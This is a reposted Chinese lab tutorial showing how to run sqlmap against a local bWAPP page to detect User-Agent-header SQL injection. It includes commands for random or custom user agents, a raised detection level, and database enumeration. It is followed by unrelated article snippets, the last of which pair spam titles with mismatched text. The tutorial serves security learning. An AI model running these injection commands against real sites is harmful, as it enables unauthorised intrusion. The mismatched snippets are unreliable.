当前位置：首页 > news >正文

使用sqlmap的 ua注入

news 文章来源：https://blog.csdn.net/wutiangui/article/details/133458805 2025/1/19 20:40:37

文章目录

1.使用sqlmap自带UA头的检测
2.使用sqlmap随机提供的UA头
3.使用自己写的UA头
4.调整level检测

测试环境：bWAPP SQL Injection - Stored (User-Agent)
在这里插入图片描述

在这里插入图片描述

1.使用sqlmap自带UA头的检测

python sqlmap.py -u http://127.0.0.1:9004/sqli_17.php --cookie=“BEEFHOOK=sC9TPJjSgW8Y6CDh1eKrvcYP2vwhfFGpwNOTmU92yEiWtYEjcQpYCgFxMp5ZVLrIY4ebNwNv9dHeZhMz; security_level=0; PHPSESSID=3bumevoo50o0j649t6tipol2h4; security=impossible” --batch
在这里插入图片描述

然后刷新看网页，发现使用了sqlmap自带的UA头
在这里插入图片描述

2.使用sqlmap随机提供的UA头

加入–random-agent参数
python sqlmap.py -u http://127.0.0.1:9004/sqli_17.php --cookie=“BEEFHOOK=sC9TPJjSgW8Y6CDh1eKrvcYP2vwhfFGpwNOTmU92yEiWtYEjcQpYCgFxMp5ZVLrIY4ebNwNv9dHeZhMz; security_level=0; PHPSESSID=3bumevoo50o0j649t6tipol2h4; security=impossible” --random-agent --batch
在这里插入图片描述

再看网页，可以发现已经没有sqlmap的字样了
在这里插入图片描述

3.使用自己写的UA头

使用–user-agent="1234567"自己给他指定UA头
python sqlmap.py -u http://127.0.0.1:9004/sqli_17.php --cookie=“BEEFHOOK=sC9TPJjSgW8Y6CDh1eKrvcYP2vwhfFGpwNOTmU92yEiWtYEjcQpYCgFxMp5ZVLrIY4ebNwNv9dHeZhMz; security_level=0; PHPSESSID=3bumevoo50o0j649t6tipol2h4; security=impossible” --user-agent=“1234567” --batch
在这里插入图片描述

再看页面变化，已经变成了我们指定的UA头了
在这里插入图片描述

4.调整level检测

由于sqlmap默认level不支持ua注入，需调整至level=3才能检测到ua头
python sqlmap.py -u http://127.0.0.1:9004/sqli_17.php --cookie=“BEEFHOOK=sC9TPJjSgW8Y6CDh1eKrvcYP2vwhfFGpwNOTmU92yEiWtYEjcQpYCgFxMp5ZVLrIY4ebNwNv9dHeZhMz; security_level=0; PHPSESSID=3bumevoo50o0j649t6tipol2h4; security=impossible” --batch -f -b --dbs --level 3
可以发现已经可以找到注入点，使用-f -b可以更详细的找出环境系统版本
在这里插入图片描述

相关文章：

使用sqlmap的 ua注入

文章目录 1.使用sqlmap自带UA头的检测2.使用sqlmap随机提供的UA头3.使用自己写的UA头4.调整level检测测试环境：bWAPP SQL Injection - Stored (User-Agent) 1.使用sqlmap自带UA头的检测 python sqlmap.py -u http://127.0.0.1:9004/sqli_17.php --cookie“BEEFHOO…...

编程日记 2023/10/2 19:09:18

华为云云耀云服务器L实例评测｜实例评测使用之体验评测：华为云云耀云服务器管理、控制、访问评测

华为云云耀云服务器L实例评测 ｜ 实例评测使用之体验评测：华为云云耀云服务器管理、控制、访问评测介绍华为云云耀云服务器华为云云耀云服务器 （目前已经全新升级为华为云云耀云服务器L实例） 华为云云耀云服务器是什么华为云云耀…...

编程日记 2023/10/2 19:08:17

resultmap

自定义映射resultMap resultMap处理字段和属性的映射关系若字段名和实体类中的属性名称不一致，则可以通过resultMap设置自定义映射建moudel项目【实现多对一、一对多的表操作demo】 temp员工表、dept部门表导入依赖【mysql驱动、junit、mybatis、日志依赖log4…...

编程日记 2023/10/2 19:07:16

宽带光纤接入网中影响家宽业务质量的常见原因有哪些

1 引言虽然家宽业务质量问题约60%发生在家庭网（见《家宽用户家庭网的主要质量问题是什么？原因有哪些》一文），但在用户的眼里，所有家宽业务质量问题都是由运营商的网络质量导致的，用户也因此对不同运营商家…...

编程日记 2023/10/2 19:05:15

C++ - 封装 unordered_set 和 unordered_map - 哈希桶的迭代器实现

前言 unordered_set 和 unordered_map 两个容器的底层是哈希表实现的，此处的封装使用的上篇博客当中的哈希桶来进行封装，相当于是在哈希桶之上在套上了 unordered_set 和 unordered_map 。哈希桶的逻辑实现： C - 开散列的拉链法&…...

编程日记 2023/10/2 19:04:14

gradle中主模块/子模块渠道对应关系通过配置实现

前言： 我们开发过程中，经常会面对针对不同的渠道，要产生差异性代码和资源的场景。目前谷歌其实为我们提供了一套渠道包的方案，这里简单描述一下。比如我主模块依赖module1和module2。如果主模块中声明了2个渠道A和B&#xff0c…...

编程日记 2023/10/2 19:03:13

28383-2012 卷筒料凹版印刷机学习笔记

声明本文是学习GB-T 28383-2012 卷筒料凹版印刷机. 而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 1 范围本标准规定了卷筒料凹版印刷机的型式、基本参数、要求、试验方法、检验规则、标志、包装、运输与贮存。本标准适用于机组式的卷筒料凹版…...

编程日记 2023/10/2 19:02:12

stable diffusion学习笔记【2023-10-2】

L1：界面 CFG Scale：提示词相关性 denoising：重绘幅度 L2：文生图女性常用的负面词 nsfw,NSFW,(NSFW:2),legs apart, paintings, sketches, (worst quality:2), (low quality:2), (normal quality:2), lowres, normal quality, (…...

编程日记 2023/10/2 19:00:10

flink选择slot

flink选择slot 在这个类里修改 package org.apache.flink.runtime.resourcemanager.slotmanager.SlotManagerImpl; findMatchingSlot(resourceProfile)：找到满足要求的slot（负责从哪个taskmanager中获取slot）对应上图第8，9&…...

编程日记 2023/10/2 18:59:09

世界前沿技术发展报告2023《世界信息技术发展报告》（六）网络与通信技术

（六）网络与通信技术 1. 概述2. 5G与光通讯2.1 美国研究人员利用电磁拓扑绝缘体使5G频谱带宽翻倍2.2 日本东京工业大学推出可接入5G网络的高频收发器2.3 美国得克萨斯农工大学通过波束管理改进5G毫米波通信2.4 联发科完成全球首次5G NTN卫星手机连线测试2…...

编程日记 2023/10/2 18:58:08

spark SQL 任务参数调优1

1.背景要了解spark参数调优，首先需要清楚一部分背景资料Spark SQL的执行原理，方便理解各种参数对任务的具体影响。一条SQL语句生成执行引擎可识别的程序，解析（Parser）、优化（Optimizer）、执行…...

编程日记 2023/10/2 18:52:03

算法练习2——移除元素

LeetCode 27 移除元素给你一个数组 nums 和一个值 val，你需要原地移除所有数值等于 val 的元素，并返回移除后数组的新长度。不要使用额外的数组空间，你必须仅使用 O(1) 额外空间并原地修改输入数组。元素的顺序可以改变。你不需要考虑…...

编程日记 2023/10/2 18:50:01

动态规划算法（2）--最大子段和与最长公共子序列

目录一、最大子段和 1、什么是最大子段和 2、暴力枚举 3、分治法 4、动态规划二、最长公共子序列 1、什么是最长公共子序列 2、暴力枚举法 3、动态规划法 4、完整代码一、最大子段和 1、什么是最大子段和子段和就是数组中任意连续的一段序列的和，而…...

编程日记 2023/10/2 18:49:00

CentOS上网卡不显示的问题

文章目录 1.问题描述 1.问题描述 ifconfig下看不到ens33网卡了。systemctl status network #查看网卡状态报下面的问题网上说的解决方式有以下三种： 第一种： 和 NetworkManager 服务有冲突，这个好解决，直接关闭 NetworkManger 服…...

编程日记 2023/10/2 18:47:59

localStorage实现历史记录搜索功能

📝个人主页：爱吃炫迈 💌系列专栏：JavaScript 🧑‍💻座右铭：道阻且长，行则将至💗 文章目录为什么使用localStorage如何使用localStorage实现历史记录搜索功能&#xff08…...

编程日记 2023/10/2 18:46:58

计算机网络（一）：概述

参考引用计算机网络微课堂-湖科大教书匠计算机网络（第7版）-谢希仁 1. 计算机网络在信息时代的作用计算机网络已由一种通信基础设施发展成为一种重要的信息服务基础设施计算机网络已经像水、电、煤气这些基础设施一样，成为我们生活中不可或…...

编程日记 2023/10/2 18:42:54

visual code 下的node.js的hello world

我装好了visual code ，想运行一个node.js 玩玩。也就是运行一个hello world。一：安装node.js ： 我google 安装node.js 就引导我到下载页面：https://nodejs.org/en/download 有 Windows Installer (.msi) 还有Windows Binary (…...

编程日记 2023/10/2 18:41:53

MySQL——四、SQL语句（下篇）

MySQL 一、常见的SQL函数1、数学函数2、日期函数3、分组函数(聚合函数)4、流程控制函数二、where条件查询和order by排序三、分组统计四、多表关联查询1、交叉连接CROSS2、内连接inner3、外连接：outer4、子查询五、分页查询一、常见的SQL函数 1、length(str):获…...

编程日记 2023/10/2 18:34:47

蓝桥杯每日一题2023.10.2

时间显示 - 蓝桥云课 (lanqiao.cn) 题目描述题目分析输入为毫秒，故我们可以先将毫秒转化为秒，由于只需要输出时分，我们只需要将天数去除即可，可以在这里多训练一次天数判断 #include<bits/stdc.h> using namespace std…...

编程日记 2023/10/2 18:31:45

红外遥控器数据格式，按下及松开判断

红外遥控是一种无线、非接触控制技术，具有抗干扰能力强，信息传输可靠，功耗低，成本低，易实现等显著优点，被诸多电子设备特别是家用电器广泛采用，并越来越多的应用到计算机系统中。同类产品的红…...

编程日记 2023/10/2 18:29:43

win32进程间通信方式（13种）

win32进程间通信文件映射共享内存匿名管道命名管道远程过程调用（RPC）对象连接与嵌入（OLE）动态数据交换（DDE）剪贴板WM_COPYDATA消息邮件槽其它文件映射特点：本地间通信，不能用于网…...

编程日记 2023/10/2 18:26:39

基于Vue+ELement搭建动态树与数据表格实现分页模糊查询

🎉🎉欢迎来到我的CSDN主页！🎉🎉 🏅我是Java方文山，一个在CSDN分享笔记的博主。📚📚 🌟推荐给大家我的专栏《ELement》。🎯🎯 &#x1…...

编程日记 2023/10/2 18:25:38

多线程案例 - 单例模式

单例模式 ~~ 单例模式是常见的设计模式之一什么是设计模式你知道象棋,五子棋,围棋吗?如果,你想下好围棋,你就不得不了解一个东西,”棋谱”,设计模式好比围棋中的 “棋谱”. 在棋谱里面,大佬们,把一些常见的对局场景,都给推演出来了,照着棋谱来下棋,基本上棋力就不会差到哪…...

编程日记 2023/10/2 18:23:36

云原生Kubernetes：对外服务之 Ingress

目录一、理论 1.Ingress 2.部署 nginx-ingress-controller(第一种方式) 3.部署 nginx-ingress-controller(第二种方式) 二、实验 1.部署 nginx-ingress-controller(第一种方式) 2.部署 nginx-ingress-controller(第二种方式) 三、问题 1.启动 nginx-ingress-controll…...

编程日记 2023/10/2 18:21:33

Java21 新特性

文章目录 1. 概述2. JDK21 安装与配置3. 新特性3.1 switch模式匹配3.2 字符串模板3.3 顺序集合3.4 记录模式（Record Patterns）3.5 未命名类和实例的main方法（预览版）3.6 虚拟线程 1. 概述 2023年9月19日 ，Oracle 发布了…...

编程日记 2023/10/2 18:20:33

Rest Template 使用

大家好我是苏麟今天带来Rest Template . spring框架中可以用restTemplate来发送http连接请求, 优点就是方便. Rest Template 使用 Rest Template 使用步骤 /*** RestTemple:* 1.创建RestTemple类并交给IOC容器管理* 2. 发送http请求的类*/ 1.注册RestTemplate对象 SpringB…...

编程日记 2023/10/2 18:19:32

IDEA git操作技巧大全，持续更新中

作者简介目录 1.创建新项目 2.推拉代码 3.状态标识 5.cherry pick 6.revert 7.squash 8.版本回退 9.合并冲突 1.创建新项目首先我们在GitHub上创建一个新的项目，然后将这个空项目拉到本地，在本地搭建起一个maven项目的骨架再推上去&#xff0…...

编程日记 2023/10/2 18:17:30

计算机操作系统（王道考研）笔记（四）I/O系统

目录 1 I/O1.1 I/O 概念和分类1.1.1 I/O 定义1.1.2 I/O 分类 1.2 I/O控制器1.3 I/O 软件层次结构1.4 I/O 应用程序接口和驱动程序应用接口 1 I/O 1.1 I/O 概念和分类 1.1.1 I/O 定义 BIOS（英文：Basic Input/Output System），即基…...

编程日记 2023/10/2 18:14:26

【Java基础】抽象类和接口的使用

个人主页：兜里有颗棉花糖欢迎点赞👍 收藏✨ 留言✉ 加关注💓本文由兜里有颗棉花糖原创收录于专栏【JavaSE_primary】本专栏旨在分享学习JavaSE的一点学习心得，欢迎大家在评论区讨论💌 目录一、抽象类抽象类概念…...

编程日记 2023/10/2 18:11:23

Golang的性能优化

欢迎，学习者们，来到Golang性能优化的令人兴奋的世界！作为开发者，我们都努力创建高效、闪电般快速的应用程序，以提供出色的用户体验。在本文中，我们将探讨优化Golang应用程序性能的基本技巧。所以&#xff0…...

编程日记 2023/10/2 18:09:21

福州网站设计服务/优化网站排名工具

代码层面 IO对象或者数据库的连接对象使用好后，需要close或clear掉 try{使用Connection或IO等对象} catch（Exception）{异常处理} finally{关闭对象}当我们使用好对象时，应该把它设为null，这样可以尽快撤销这个对象上…...

编程日记 2025/1/19 17:42:29

做网站最大可以做多少g/seo网站诊断价格

这是一个值得期待的功能，也是很多人梦寐以求的，如果ArcGIS for Server崩溃了，那么是不是要将所有已经发布过的服务重新发布一遍，如果电脑上有很多服务，这岂不是要折腾半天？ArcGIS for Server 10.2 让大家减…...

编程日记 2025/1/19 14:37:30

濮阳网站怎么做seo/长沙互联网网站建设

序：为了用Python实现诗词格律的分析，我研究了一段时间的诗律和词律，现做整理分享给大家，以供需实现此类需求的朋友“快速”、完整地理解格律。目录 17.半拗(小拗)可救可不救所谓半拗可救可不救，指的是出句平仄脚句型…...

编程日记 2025/1/19 13:54:24

网站开发是前端还是/互联网平台公司有哪些

目前的BI市场上有很多大数据的厂商，这也让许多客户眼花缭乱，不知如何下手。比如国内的亿信华辰跟国外的Tableau，QLK， PowerBI 都有非常多便于分析的可视化工具，但是在数据处理分析的功能性上，与SAS, Micr…...

编程日记 2025/1/19 7:11:37

b2b2c电商平台网站/互联网销售平台有哪些

目录第一步：安装软件（1）上传文件（2）解压文件第二步：配置环境变量第三步：修改配置文件第四步：Storm集群启动与关闭脚本编写（1）编写start-all.sh启动脚本&#…...

编程日记 2025/1/19 3:14:56

阳信县住房和城乡建设局网站/营销型网站设计制作

题目链接： http://acm.hdu.edu.cn/showproblem.php?pid5691 题解： 和tsp用的状压差不多，就是固定了一些访问顺序。 dp[i][j]表示前cnt个点中布满状态i且最后一个为j的状态的最大乘积和。则有dp[i|(1<<k)][k]max(dp[i|(1<<k)][k…...

编程日记 2025/1/19 1:23:44